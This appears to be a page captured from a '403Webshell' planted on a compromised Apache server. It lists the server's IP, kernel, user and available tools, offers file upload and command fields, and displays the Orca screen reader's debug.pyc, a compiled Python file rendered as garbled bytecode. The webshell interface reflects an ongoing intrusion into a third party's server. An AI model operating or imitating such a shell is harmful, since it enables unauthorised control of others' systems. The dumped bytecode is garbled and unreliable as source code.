403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/orca/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/orca/debug.pyc
z#Jc@sdZdZdZdZdZdZddkZddkZdZd	Z	d
Z
dZdZd
Z
dZdZdZe	ZdZeZdZdZdZddZddZdZedZdedZddkZdZdS(sProvides debug utilities for Orca.  Debugging is managed by a debug
level, which is held in the debugLevel field.  All other methods take
a debug level, which is compared to the current debug level to
determine if the content should be output.s$Id$s
$Revision$s$Date$s-Copyright (c) 2005-2008 Sun Microsystems Inc.tLGPLiNi'iii iiXiiicCs9|tjo(t|tidtt|ndS(srPrints out information regarding the current exception.

    Arguments:
    - level: the accepted debug level
    idN(t
debugLeveltprintlnt	tracebackt	print_exct	debugFile(tlevel((s./usr/lib/python2.6/site-packages/orca/debug.pytprintExceptionss

cCs<|tjo+t|tiddtt|ndS(sXPrints out the current stack.

    Arguments:
    - level: the accepted debug level
    idN(RRRtprint_stacktNoneR(R((s./usr/lib/python2.6/site-packages/orca/debug.pyt
printStacks

tcCs8|tjo'toti|dgq4|GHndS(sPrints the text to stdout if debug is enabled.

    Arguments:
    - level: the accepted debug level
    - text: the text to print (default is a blank line)
    s
N(RRt
writelines(Rttext((s./usr/lib/python2.6/site-packages/orca/debug.pyRs
cCsxtoti|iodSt|t}d|i|i|if}t|||ot|d|ndS(stPrints out an Python Event object.  The given level may be
    overridden if the eventDebugLevel is greater.  Furthermore, only
    events with event types matching the eventDebugFilter regular
    expression will be printed.

    Arguments:
    - level: the accepted debug level
    - event: the Python Event to print
    - sourceInfo: additional string to print out
    Ns"OBJECT EVENT: %-40s detail=(%d,%d)s             %s(teventDebugFiltertmatchttypetmaxteventDebugLeveltdetail1tdetail2R(Rteventt
sourceInfoR
((s./usr/lib/python2.6/site-packages/orca/debug.pytprintObjectEvents
cCstt|t|dS(sPrints out an input event.  The given level may be overridden
    if the eventDebugLevel (see setEventDebugLevel) is greater.

    Arguments:
    - level: the accepted debug level
    - string: the string representing the input event
    N(RRR(Rtstring((s./usr/lib/python2.6/site-packages/orca/debug.pytprintInputEvents	cCs5|tjo$|ot|t|||ndS(s:Lists the details of the given accessible with the given
    indentation.

    Arguments:
    - level: the accepted debug level
    - indent: a string containing spaces for indentation
    - accessible: the accessible whose details are to be listed
    - includeApp: if True, include information about the app
    N(RRtgetAccessibleDetails(Rtindentt
accessiblet
includeApp((s./usr/lib/python2.6/site-packages/orca/debug.pytprintDetailssc
Cs$|o6|i}|o|d|i}qC|d}n|}|i}|i}g}x$|D]}|iti|qhWdi|}	|i}
|
oFg}x*|
D]"}|iti	|i
qWdi|}
nd}
|d|ipd|i|	|
f7}|S(sReturns a string, suitable for printing, that describes the
    given accessible.

    Arguments:
    - indent: A string to prefix the output with
    - includeApp: If True, include information about the app
                  for this accessible.
    sapp.name='%s' s	app=None t Rs-name='%s' role='%s' state='%s' relations='%s'R	(tgetApplicationtnametgetStatet	getStatestappendtpyatspit
stateToStringtjointgetRelationSettrelationToStringtgetRelationTypetgetRoleName(taccRRtappRtstateSettstatest
state_stringststatetstate_stringt	relationstrelation_stringstrelationt
rel_string((s./usr/lib/python2.6/site-packages/orca/debug.pyRs4
cCs|djo|i}|id}|idp|ido|d }n|id}|djp'|djp|d	jp
|d
jotSti||}ttd|||ifntS(sLine tracing utility to output all lines as they are executed by
    the interpreter.  This is to be used by sys.settrace and is for 
    debugging purposes.
   
    Arguments:
    - frame: is the current stack frame
    - event: 'call', 'line', 'return', 'exception', 'c_call', 'c_return',
             or 'c_exception'
    - arg:   depends on the event type (see docs for sys.settrace)
    tlinet__file__s.pycs.pyoit__name__tgettexttlocalet	posixpathtUserDictsTRACE %s:%s: %s(	tf_linenot	f_globalstendswithttraceitt	linecachetgetlineRt	LEVEL_ALLtrstrip(tframeRtargtlinenotfilenameR!R7((s./usr/lib/python2.6/site-packages/orca/debug.pyRAs
	





$( t__doc__t__id__t__version__t__date__t
__copyright__t__license__RR%t	LEVEL_OFFtLEVEL_SEVEREt
LEVEL_WARNINGt
LEVEL_INFOtLEVEL_CONFIGURATIONt
LEVEL_FINEtLEVEL_FINERtLEVEL_FINESTRDRR	RRRRR
RRRtTrueRRRBRA(((s./usr/lib/python2.6/site-packages/orca/debug.pyt<module>s:	
			2

Youez - 2016 - github.com/yon3zu
LinuXploit